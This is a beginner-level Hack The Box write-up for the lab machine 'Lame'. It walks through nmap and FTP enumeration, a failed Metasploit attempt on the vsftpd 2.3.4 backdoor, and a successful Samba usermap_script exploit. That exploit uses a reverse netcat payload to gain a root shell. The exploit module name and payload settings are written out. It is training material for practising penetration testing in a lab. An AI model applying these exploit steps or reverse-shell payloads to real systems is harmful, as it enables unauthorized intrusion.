Lame
Lame is a beginner level machine, requiring only one exploit to obtain root access. It was the first machine published on Hack The Box and was often the first machine for new users prior to its retire
Getting User
Starting with an NMAP scan against the host.
I was noticing a LOT of latency issues while running my NMAP scan on the VIP+, so swapped over to a normal VIP server and the connection was significantly better.
Seeing the following ports open, I am curious if this might be a Windows host:
Port 139: SMB originally ran on top of NetBIOS using port 139. NetBIOS is an older transport layer that allows Windows computers to talk to each other on the same network.
Port 445: Later versions of SMB (after Windows 2000) began to use port 445 on top of a TCP stack. Using TCP allows SMB to work over the internet.
Reference; https://www.varonis.com/blog/smb-port
Although, I find it interesting that FTP / (SFTP|SSH) is open which isn't generally expected on a Windows host.
Performing additional enumeration against the host and its open ports, it looks like FTP is open with anonymous login enabled:
Attempted to access the system with:
I was able to sign in, but there didn't seem to be any files readily available for transfer.
Attempted to check smb:
That's also when I remembered in the About section, it mentions the use of metasploit. I think it's about time to dive in there and see what exploits might be available for the available services.
I'm thinking the exploit will be for SMB, since previous attacks like WannaCry and EternalBlue both exploited older protocols, but that was SMBv1 and it looks like the server is running SMBv2.
Went ahead and checked Exploit-DB and found the following exploit for vsFTP version 2.3.4:
Bringing up metasploit:
We need to now setup the payload for testing:
#
Name
Disclosure Date
Rank
Check
Description
0
auxiliary/dos/ftp/vsftpd_232
2011-02-03
normal
Yes
VSFTPD 2.3.2 Denial of Service
1
exploit/unix/ftp/vsftpd_234_backdoor
2011-07-03
excellent
No
VSFTPD v2.3.4 Backdoor Command Execution
We see 2 exploits, we'll use exploit 1
, we can then type either:
or
Once the payload is selected, we need to see what options might need to be set. We can then run show options
.
CHOST
no
The local client address
CPORT
no
The local client port
Proxies
no
A proxy chain of format type:host:port,type:host:port...
RHOSTS
yes
The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT
21
yes
The target port (TCP)
We need to set the RHOSTS
value, this can be done by typing set RHOSTS <value>
where <value>
is our victim machine.
If you run show options
after setting your RHOSTS
, we should then see that value in our options:
CHOST
no
The local client address
CPORT
no
The local client port
Proxies
no
A proxy chain of format type:host:port,type:host:port...
RHOSTS
10.10.10.3
yes
The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT
21
yes
The target port (TCP)
We can then run our exploit by typing either: run
exploit
Unfortunately this did not seem to be the correct service to attempt to exploit since it pauses when trying to pull the password for the account as we see below:
Re-visiting the available services from our previous scan, there may also be a chance that the SMB server is vulnerable to an exploit.
Searching exploit db for samba 3.0.20
we see there is an exploit from 2007 that may work:
Time to try and load this into Metasploit.
I've already found the name of payload, you can type
use exploit/multi/samba/usermap_script
to change payloads
Reviewing the options we get a few different choices than our previous payload:
CHOST
no
The local client address
CPORT
no
The local client port
Proxies
no
A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS
yes
The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT
139
yes
The target port (TCP)
Payload options (cmd/unix/reverse_netcat):
LHOST
192.168.37.141
yes
The listen address (an interface may be specified)
LPORT
4444
yes
The listen port
Update the RHOSTS value like we did before:
We can then try and run our exploit.
It failed. I've run into this issue a while back, and the key thing to note is your LHOST value. I was running from my network, not the VPN network.
notice how the handler started on a 192.168.0.1/24 and not on the HTB VPN network
Set your CHOST to your VPN IP, and run the exploit again:
We now have our reverse shell. From here you can grab the flags for root / user as needed.
Last updated